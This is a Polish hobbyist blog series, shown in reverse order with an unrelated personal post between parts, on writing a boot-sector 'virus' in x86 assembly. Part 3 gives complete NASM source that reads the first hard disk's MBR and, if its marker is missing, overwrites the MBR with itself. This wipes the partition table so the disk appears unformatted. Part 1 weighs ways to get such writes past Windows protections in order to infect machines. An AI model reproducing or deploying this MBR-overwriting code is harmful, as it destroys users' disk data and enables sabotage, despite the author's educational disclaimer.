ASM: pisanie własnego MBR cz.3

Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.

Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.

UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.

Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.

1. sprawdź czy program jest zainstalowany
2. zainstaluj program
3. wyświetl zawartość pamięci
4. powrót do 3.

W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.

Rozpoznaj siebie

W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.

      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.

Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.

Czytamy z dysku

Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:

• ES:BX - adres bufora w pamieci
• CS:DS - adres na dysku, ścieżka, głowica, sektor

Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.

Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.

      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem

Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.

Instalacja

Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.

Gotowy kod

Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.

Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
      JMP SHORT cz_inst   ;skaczemy do poczatku kodu wlasciwego 

      
      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

    cz_inst:
      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.

Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator

Jesteśmy studentami!

Ciągle jesteśmy w rozrywkowym nastroju. Pracy w prawdzie przybywa, ale niezrażeni tym faktem idziemy na przód i bawimy się świetnie na kolejnych koncertach i imprezach juwenaliowych. Następna jutro na SGGW.

Nie abym się nudził, ale dzięki dobremu nastrojowi dusza artystyczna nie daje się okiełznać. Poza kodowaniem są przecież inne jeszcze miłe dziedziny informatyki :).

W ostatniej chwili wystygła i może zostać upubliczniona kolejna tapeta wykonana w GIMP. Inna technika, inny styl. Mam nadzieję, że komuś się spodoba. Ponownie mogłem popełnić tutorial do tego, ale samo tworzenie takiej tapety jest wystarczająco czasochłonne.

Bombowy króliczek zagościł tutaj nie bez powodu. Przyszedł pozdrowić konkretną osobę, która zapewnia mi ostatnio masę rozrywki. Buziak dla niej i to nie jeden.

Króliczek bomber pochodzi ze strony deviantART Kyoht'a Lytherman'a.

ASM: pisanie własnego MBR cz.2

Jak wspomniałem w poprzedniej części w tej postaram się wyjaśnić dlaczego rozpoczęcie prac nad MBR było trudne. A dokładniej czemu piekielne kompilatory ASM, które zawsze sprawdzały się dobrze, teraz postanowiły odmówić posłuszeństwa.

Największy problem to dyrektywa org. Bootloader to mały program (model tiny), a dokładnie aplikacja com (przynajmniej dla windowsowców). Istotne jest gdzie do pamięci ów kod jest ładowany przez wszechmocny BIOS. Kod z MBR ładowany jest pod adres: 0000:7C00h, a więc należy zadbać, aby po załadowaniu kodu CS:IP wskazywał dokładnie jego początek. Zadanie do trudnych nie należy, jednak TASM i MASM odmówiły posłuszeństwa napotykając dyrektywę org 7c00h. I to pomimo faktu dodania wszystkich innych potrzebnych tym kompilatorom głupot. No ni jak nie szło się z nimi dogadać.

Drugi problem polegał na architekturze. Tego to akurat za specjalnie nie rozumiem i wytłumaczenie może co najwyżej sprowadzać się do bo tak. Gdy natknąłem się na ten problem, to oczywiście rozwiązania szukałem po forach i innych takich zakamarkach. W zasadzie wyszło na to, że prawdopodobnie rozwiązanie nieco innego problemu rozwiązało i mój. Otóż linker z TASM'a zwracał mi jakiś dziwaczny błąd dotyczący segmentu stosu (którego nie deklarowałem), mówiący ogólnie, że nie może "opiekować się" 16b segmentami. Dyrektywa use 16/use 32 oczywiście nic nie zmieniła. Rozwiązaniem problemu było zostawić TASM32 i TLINK32 w spokoju, na rzecz starych dobrych TASM i TLINK. Zasmuciło mnie to, bo jednak chciałem skorzystać z nieco dłuższych rejestrów, ale zostałem zmuszony do użycia 16b.

Początek na początek

Każdy dobry projekt należy zaplanować. Przy tym kodzie trzeba przynajmniej główny przebieg zaplanować. Osobiście często sprowadzam to do bazgrolenia w zeszycie, albo na przypadkowych kartkach, tak więc nie zamieszczę schematu blokowego, którym się posłużyłem. Przy tak trywialnym zadaniu wystarczy jednak posłużyć się listą.

1. sprawdź czy program jest zainstalowany
2. zainstaluj program
3. wyświetl zawartość pamięci
4. powrót do 3.

Proste. Teraz można jeszcze rozwinąć poszczególne punkty. W tym arcie pozwolę sobie jednak zająć się wyłącznie punktem 3. W zasadzie stworzenie odpowiedniego kodu dla Niego zajęło mi nie mało czasu, nawet gdy już uporałem się ze środowiskiem.

Twój prywatny Matrix

Rozwińmy od razu punkt 3 do odpowiedniego algorytmu:

1. załaduj segment pamięci ekranu do ES
2. wyzeruj AX,BX,DS
3. wyzeruj CX
4. wczytaj do AH bajt spod adresu [DS:BX]
5. do AL wstaw bajt atrybutu
6. zapisz pod adres [ES:CX] zawartość akumulatora
7. zwiększ BX
8. sprawdź czy BX = 0, jeśli NIE przejdź do 10
9. zwiększ DS o 1
10. zwiększ CX o 2
11. sprawdź czy CX>0FA0h jeśli TAK wróć do 3 , jeśli NIE wróc do 4

Powyższy kod to zejście o jeden poziom abstrakcji w całym naszym kodzie. Można uznać, że nawet o 2 ponieważ pokusiłem się o podanie nazw konkretnych rejestrów i konkretnych wartości. Przyznam szczerze, ta pierwotna postać algorytmu choć jest dalej realizowana przez kod, wydaje się w tej chwili aż nazbyt abstrakcyjna. Ale to chyba tylko dlatego, że uzyskałem końcowe rozwiązanie.

W pierwszym pseudokodzie cały ten algorytm został określony jako wypisanie pamięci. Na wszelki wypadek wyjaśniam więc, że polega on na odczytywaniu bajtów z pamięci i wypisywaniu ich kolejno na ekran w trybie znakowym. Całość sprowadza się do jednej pętli z dwoma licznikami: jednym przesuwanym po pamięci głównej i drugim przesuwanym po pamięci ekranu. Tutaj taka mała dygresja. nie każdy zdaje sobie sprawę, że w pewnym momencie wyświetlimy zawartość tego do czego dokładnie piszemy. Dziwne zapętlenie, ale świat dalej istnieje.

Pierwszy kod - trywializm

Na razie jeszcze nie do końca w ramach tego projektu warto podać jakikolwiek kod który może posłużyć do pisania MBR. Dokładnie to jest to baza wyjściowa dla tego kodu.

org 7C00h
start:
times 510 - ($ - start) db 0 ; dopełnienie do 510 bajtów
dw 0aa55h ; znacznik

Proste i trywialne. Całość kompiluje się do 512B aczkolwiek na koniec będzie zawierało prawie same 0. Jest to jednak baza do dalszej pracy. Jak widać zawiera wspomnianą wcześniej dyrektywę org. Znacznie istotniejsza jest jednak końcówka. Bootsector ma dokładnie 512B długości. Aby plik miał dokładnie tyle po kompilacji dodajemy przedostatnią linię, która uzupełnia program o bajty 00h. Dopełnienie jak widać jest do 510B, a to dlatego, że BootSector musi się kończyć odpowiednio. W ostatniej linii zostaje dodany 2Bajtowy znacznik końca. Razem mamy już 512B.

Pisanie po ekranie

Pierwszy problem na który się natykamy wykonując dokładnie obmyślony algorytm to pisanie na ekran. Przyjmijmy, że rozmiar ekranu wyznacza rozmiar "strony" w pamięci. W końcu przecież w ten sposób pamięć jest wypisywana na ekran. Domyślnym jest aktualnie tryb 80x25 i tego się trzymamy. Każdy znak na ekranie opisany jest przez 2 Bajty. Oznacza to, że mamy do dyspozycji 4000B na jedną "stronę". Stąd z resztą wartość 0FA0h. Problem polega na tym, że gdy dojdziemy do końca ekranu, wracamy na jego początek. Widzimy efekt nasuwania się na siebie stron. Po zapisaniu jednej zaczyna ją przesłaniać nowa.

Drugi problem to stosunkowo duża prędkość wyświetlania. Nie bardzo można zobaczyć co w ogóle się tam pojawia. Ekran szybko migocze i można co najwyżej dostać ataku epilepsji na to patrząc.

Trzeci problem to bajt atrybutu i sama zawartość akumulatora. Trzeba zawczasu ustalić jakie ma być wyświetlanie, aby te dane przygotować.

Problemami zajmiemy się w odwrotnej kolejności. Wszystko dlatego, że jest to znacznie łatwiejsza kolejność. Poza tym chodzi też o czas jaki rozwiązanie kolejnych problemów pochłonęło.

Bajt atrybutu

Miał być Matrix(TM), to będzie Matrix. Aby to się udało potrzebny nam jaskrawy zielony kolor na litery i czarne tło. Czarne tło oczywiście jest domyślne. Kolorowy tryb tekstowy, który w komputerach PC po starcie jest domyślny używa następującej struktury bajtu atrybutu:

• 7 - Blink - migotanie
• 6-4 - RGB Background - kolor tła
• 3 - Intensity - intensywność
• 2-0 - RGB Foreground - kolor liter

Wartość bajtu atrybutu dla nas:
00001010b==0Ah
Pisząc do pamięci musimy wiedzieć w jaki sposób dane są w niej przechowywane. Architektura PC przewiduję metodą Little Indian. Oznacza to, że młodszy Bajt w słowie przechowywany jest jako pierwszy, a starszy jako drugi. Jeśli o tym zapomnimy, to spotka nas niemiła niespodzianka. Wprowadza to pierwszą zmianę do algorytmu. Pozornie tylko kosmetyczną, ale pozwalającą na odpowiednie wyświetlanie. Bajty w akumulatorze należy zamienić. Bajt z pamięci ładujemy do AL, a atrybuty do AH.

Poczekajmy chwilę

Zajmijmy się problemem bardzo szybkiego migotania aplikacji. Nie trudno domyśleć się, że wyświetlanie realizowane jest tak szybko, jak szybko procesor jest w stanie przekazać dane między obszarami pamięci i kontroler ekranu wysłać je do monitora. To stanowczo za szybko dla ludzkiego oka. Z pomocą przychodzi przerwanie 15h BIOS. Dokładny jego opis można przeczytać na przykład w opisie do Emu8086. Interesuje nas Funkcja 86h, która pozwala na wstrzymanie aplikacji na CX:DX mikrosekund.

Wyliczmy odpowiedni czas wstrzymania. Ludzkie oko rejestruje około 24klatek na sekundę. w takim razie jedna klatka jest odrysowywana co ~41667 mikrosekund. Odrysujmy więc w jednej klatce cały wiersz, aby animacja była dość szybka i dość płynna. W ciągu sekundy wyświetlanie przesunie się o cały ekran. czas wstrzymania to 521us==209h. Wpisujemy kolejno do CX:=0000,DX:=0209h.

Należy pamiętać aby przed wywołaniem przerwania zapamiętać stan procesora i przywrócić go po jego zakończeniu. Dane potrzebne dla przerwania są tymczasowe i nie muszą zostać przez nas przechowane. Aby nie wybierać konkretnych rejestrów do zachowania lepiej posłużyć się rozkazami PUSHA i POPA.
Płynne pisanie
Na razie kod powoduje zasłanianie poprzednio wypisanej strony kolejną. Trzeba to jakoś zmienić. Moje rozwiązanie sprowadza się do przesuwania pamięci ekranu zamiast jej nadpisywania w całości. Pozwolę sobie opisać końcowe rozwiązanie zamiast całego procesu dochodzenia do niego. Był on z resztą dość długi i powodował sporo błędów po drodze.

1. przesuń "obraz" o 80 znaków w prawo
2. ustaw CX na 160
3. pobierz znak z pamięci do AL
4. wstaw bajt atrybutu do AH
5. podstaw pod BX:=160-CX
6. zapisz akumulator: [ES:BX]:=AX
7. zmniejsz CX o 2
8. jeśli CX!=0 wróć do 3

Przed wykonaniem tego algorytmu także trzeba zachować stan rejestrów. Najlepiej znowu użyć PUSHA i POPA, aby nie pomylić się w kolejności operacji, a także nie zapisać za mało.

Łatwo zauważyć że teraz od razu wypisywana jest cała linia z pamięci podczas jednego przebiegu głównej pętli programu. Wróćmy więc na chwilę do czasu wstrzymania aplikacji. Sleep na 521us to teraz za mało. Aplikację trzeba wstrzymać na około 80000us. Ja osobiście ustawiłem na 83334, czyli 14586h. Zapisujemy CX:=0001h, DX=4586h i wywołujemy przerwanie 15h.

Jakoś pusto tutaj

Pamięć komputera po jego uruchomieniu nie jest wypełniona zerami. Po pierwsze załadowany został już do niej BIOS. Po drugie nasz BootSector. Po trzecie stan większości komórek jest nieokreślony. Na ogół są tam losowe wartości, mogą tam nawet być śmieci z pozostałej sesji (nawet 15 minut po wyłączeniu stan pamięci potrafi się utrzymać). Dane te można więc odczytać i wyrzucić na ekran. Niestety w moim przypadku napotkałem całą masę pustych komórek. Pustych czyli wyraźnie zawierających same 00h. Zapewne właśnie dlatego, że kod testowany był pod maszyną wirtualną, a nie rzeczywistą. Uznałem jednak, że w prawdziwej sytacji może stać się podobnie, więc dodałem do aplikacji generator liczb pseudolosowych.

1. DL:=AL
2. DX+=10111101B
3. DX+=BX (BX zawiera aktualny offset w pamieci)
4. wykonaj obrót cykliczny na DX o 4 w prawo (ROR DX,04h).
5. wynik odczytaj z DL

Jak widać seed dla generatora stanowi suma BX+AL. Jest ona na tyle zmienna i zależna od stanu aktualnego, że trudno przewidzieć jaki będzie wynik generatora. Doświadczalnie powiem, że okres ergodyczności ciągu kolejnych liczb losowych z generatora jest dostatecznie duży. Matematycznie nie zostało to jednak zbadane.

Przed wykonaniem kodu generatora zapamiętujemy stan maszyny. Tak jak już poprzednie razy. Generator oczywiście trzeba zapuścić dla każdej komórki o wartości 00h. Jak uzyskamy 00,h albo 32h, to się nie martwimy. Kod Matrix'a też miał sporo pustych przestrzeni.

Gotowy produkt

Kod jednego punktu głównego algorytmu udało mi się sprowadzić do 66 linii razem z komentarzami. Co ważne sam kod waży zaledwie 95B! Założę się, że można go skompresować jeszcze bardziej i uprościć, aby wykonał się szybciej.

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
    cz_inst:
    instal:

    print_mem:            ;wlasciwe dzialanie \"wirusa\"
      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX

      MOV ES,BX
      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX

      MOV AX,[ES:BX-50h]
      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      MOV CX,0001h        ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 83334(14586h) mikrosekund
      XOR AX,AX
      MOV CX,AX
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

Starałem się opisać wszystko co można było w samym kodzie. Znajomość ASM jest wymagana. Poniżej odpalony kod na maszynie w VirtualBox.

Okno VirtualBox z uruchomionym "wirusem".

Na zakończenie tej części małe wyjaśnienie. W tekście zawarte jest dość mało gotowych przykładów kodów ASM głównie dlatego, że już mi się gotowego pliku na kawałki kroić nie chciało. Lenistwo jest straszne. Opisałem wszystko na tyle na ile mogłem, tak aby nawet początkujący był w stanie te fragmenty kodu napisać samodzielnie. Mam też nadzieję, że cały kod w jednym miejscu był w stanie rozjaśnić komuś w głowie dostatecznie.

W następnej części postaram się opisać dwa pozostałe punkty głównego algorytmu. Ich napisanie małpią metodą zajmuje piekielnie dużo czasu. Niestety każdy test może oznaczać uszkodzenie maszyny wirtualnej i konieczność stawiania na niej na nowo OS.

Do przejrzenia (Źródła):

• The Boot Process
• OSRC: The Operating System Resource Center
• Pisanie BootSector-ów
• Creating A DOS Bootable UISB-Key (The Easy Way)

ASM: pisanie własnego MBR cz.1

Pisanie programów komputerowych w ASM nie jest aktualnie zbyt popularne. Trzeba jednak przyznać, że w rękach sprawnego programisty język ten powinien dać najlepsze możliwości. No i oczywiście kod będzie najwydajniejszy. Assembler sprawdza się wszędzie tam, gdzie zasoby są ograniczone. Bez wątpienia pisanie Bootloadera bez ASM nie ma za wiele sensu.

Ten artykuł to dopiero wstęp do tego zajęcia. Zabawa z ASM i samym MBR to niestety zajęcie na wiele godzin, zważywszy na fakt, że materiały są ograniczone. Ponadto pojawiają się trudności z kompilatorami, które tak trywialnego kodu widać kompilować nie chcą.

Po kiego grzyba pisać własny Bootloader? Albo raczej cokolwiek na siłę samodzielnie wpisywać w MBR? Jak pamiętamy swego czasu dość popularne były (może nawet jeszcze są) wirusy infekujące właśnie ten obszar dysku. Powiedzmy, że zamarzyło mi się sprawdzić się w takim kodowaniu. Ponadto chciałem sprawdzić jakie są aktualnie możliwości takich infekcji przy najnowszych systemach z rodziny Windows.

Systemy Windows z rodziny NT bootują bezpośrednio. W prawdzie istnieją takie pliki jak autoexec.bat, czy config.sys, ale nie są wykorzystywane. Pojęcia nie mam czy cokolwiek robią w systemie nowszym niż Windows Me. Z poziomu systemu windows uruchomienie aplikacji piszącej do sektora na dysku (dowolnego) powoduje monit o zagrożeniu. Ostrzeżenie systemu można zignorować, jednak zapis do dysku nie specjalnie się uda. MBR jest przecież pod specjalną ochroną OS. W takim razie wydaje się, że nie bardzo istnieje możliwość zautomatycznego uszkodzenia MBR. Istnieją jednak całe 3 możliwości:

• stworzenie aplikacji podobnej do scandisk
• zarejestrowana usługa systemowa w Windows (mamy dostęp do wszystkiego w systemie)
  
• napisanie bootsectora i edycja pliku boot.ini

Pierwszy punkt brzmi tak mało profesjonalnie w opisie. Wiele się na tej opcji w swoich poszukiwaniach nie skupiałem. Chodzi coś o natywne usługi. Są to twory, które mają dostęp do wszelkich zasobów komputera na najwyższym poziomie, do tego uruchamiają się zanim system cokolwiek zablokuje. Absolutnie nie są to aplikacje DOSowe, jak się niekiedy można doczytać w różnych miejscach.

Drugi punkt wymaga od nas zainstalowania programu jako usługi. Na własnym komputerze nie ma problemu, ale co z infekcją? Wyrzucimy na ekran monit: "czy chcesz zainstalować naszego wirusa?"?. No nie wygląda to zbyt fajnie.

Trzecia opcja polega na oszukaniu mechanizmu bootowania systemów z rodziny NT. Proces bootowania Windows z rodziny NT jest dość ciekawy i co ważne pozwala na wybór wśród wielu systemów. Bootloader od Redmont potrafi bootować nawet systemy z rodziny *nix (podobno, bo nie sprawdzałem nigdy). Proces jego działania polega jednak na wczytaniu opcji z pliku boot.ini. Tutaj mamy pole do popisu. Plik ten zawiera informacje o tym gdzie szukać bootloaderów dla konkretnych systemów zainstalowanych na maszynie. Posiada też opcje konfiguracyjne, jak domyślny system, albo czas na wybór. Daleko temu do Lilo, czy GRUB'a, które mogą mieć dowolne tło, ale zawsze lepszy rydz niż nic. Słabość tego systemu polega na tym, że plik ten można po prostu zedytować i dodając 2 linijki i zmieniając jedną uprzykrzyć użytkownikowi życie. Można też korzystając z materiałów w sieci stworzyć własny bootloader dorównujący projektom opensource i podmienić go dla Windows. Wiedząc jak powinien być zbudowany MBR możemy to zrobić poprawnie i na dodatek 